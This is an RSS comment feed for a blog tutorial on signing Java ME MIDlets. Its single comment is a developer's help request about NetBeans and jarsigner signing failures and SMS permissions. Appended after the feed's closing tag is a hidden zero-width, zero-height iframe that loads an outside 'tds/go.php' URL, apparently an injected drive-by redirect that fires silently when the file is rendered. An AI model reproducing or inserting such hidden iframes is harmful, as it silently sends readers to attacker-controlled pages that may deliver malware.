<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: How to Sign a MIDlet</title>
	<atom:link href="http://www.dijexi.com/2009/12/how-to-sign-a-midlet/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Thu, 02 Feb 2012 12:16:36 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: David</title>
		<link>http://www.dijexi.com/2009/12/how-to-sign-a-midlet/comment-page-1/#comment-1181</link>
		<dc:creator>David</dc:creator>
		<pubDate>Mon, 29 Nov 2010 17:40:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.dijexi.com/2009/12/how-to-sign-a-midlet/#comment-1181</guid>
		<description>Hello:

I have a Thawte certificate (299$) and I want to sign my MIDlet. My app has one permission: javax.wireless.messaging.sms.send.

First scenario:

I use Netbeans. If I try to sign my MIDlet, only the .jad file changes. Netbeans adds the following lines:

MIDlet-Certificate-1-1: MIIEJjCCAw6gAwIBAgIQHJqq1asymZ........
MIDlet-Certificate-1-2: MIIEnDCCA4SgAwIBAgIQR5dNeHOlv......
MIDlet-Certificate-1-3: MIIERTCCA66gAwIBAgIQM2VQCH....

If I try to install this MIDlet sending the jad and the jar files throught Bluetooth, the installation goes ok. The app is secure. But if I try to send a SMS, (I push a &quot;Send&quot; command in a Form) the SMS is not sent. Nothing happens!!! No errors or exceptions, nothing, but if the MIDlet is not signed, the app can send the SMS well.


The second scenario:

I try to install the application using only the .jar file.

I sign my application with jarsigner:

jarsigner -tsa https://timestamp.geotrust.com/tsa -keystore Keystore.p12 -storetype pkcs12 MyMIDlet.jar myalias

Doing this, the jar file increases it size. I can see inside the META-INF folder, inside the jar file, that:

1. The Manifest file has several digest. One for each file inside the jar:

Manifest-Version: 1.0
bla bla bla...

Name: res/icon.png
SHA1-Digest: NFzSgJ9d8aHy/v4thNG+sMAhNiQ=

Name: etc...

2. I have two new files: myalias.SF and myalias.RSA

But if I try to install this jar I obtain an error message: The application is not trusted!


Help!!</description>
		<content:encoded><![CDATA[<p>Hello:</p>
<p>I have a Thawte certificate (299$) and I want to sign my MIDlet. My app has one permission: javax.wireless.messaging.sms.send.</p>
<p>First scenario:</p>
<p>I use Netbeans. If I try to sign my MIDlet, only the .jad file changes. Netbeans adds the following lines:</p>
<p>MIDlet-Certificate-1-1: MIIEJjCCAw6gAwIBAgIQHJqq1asymZ&#8230;&#8230;..<br />
MIDlet-Certificate-1-2: MIIEnDCCA4SgAwIBAgIQR5dNeHOlv&#8230;&#8230;<br />
MIDlet-Certificate-1-3: MIIERTCCA66gAwIBAgIQM2VQCH&#8230;.</p>
<p>If I try to install this MIDlet sending the jad and the jar files throught Bluetooth, the installation goes ok. The app is secure. But if I try to send a SMS, (I push a &#8220;Send&#8221; command in a Form) the SMS is not sent. Nothing happens!!! No errors or exceptions, nothing, but if the MIDlet is not signed, the app can send the SMS well.</p>
<p>The second scenario:</p>
<p>I try to install the application using only the .jar file.</p>
<p>I sign my application with jarsigner:</p>
<p>jarsigner -tsa <a href="https://timestamp.geotrust.com/tsa" rel="nofollow">https://timestamp.geotrust.com/tsa</a> -keystore Keystore.p12 -storetype pkcs12 MyMIDlet.jar myalias</p>
<p>Doing this, the jar file increases it size. I can see inside the META-INF folder, inside the jar file, that:</p>
<p>1. The Manifest file has several digest. One for each file inside the jar:</p>
<p>Manifest-Version: 1.0<br />
bla bla bla&#8230;</p>
<p>Name: res/icon.png<br />
SHA1-Digest: NFzSgJ9d8aHy/v4thNG+sMAhNiQ=</p>
<p>Name: etc&#8230;</p>
<p>2. I have two new files: myalias.SF and myalias.RSA</p>
<p>But if I try to install this jar I obtain an error message: The application is not trusted!</p>
<p>Help!!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
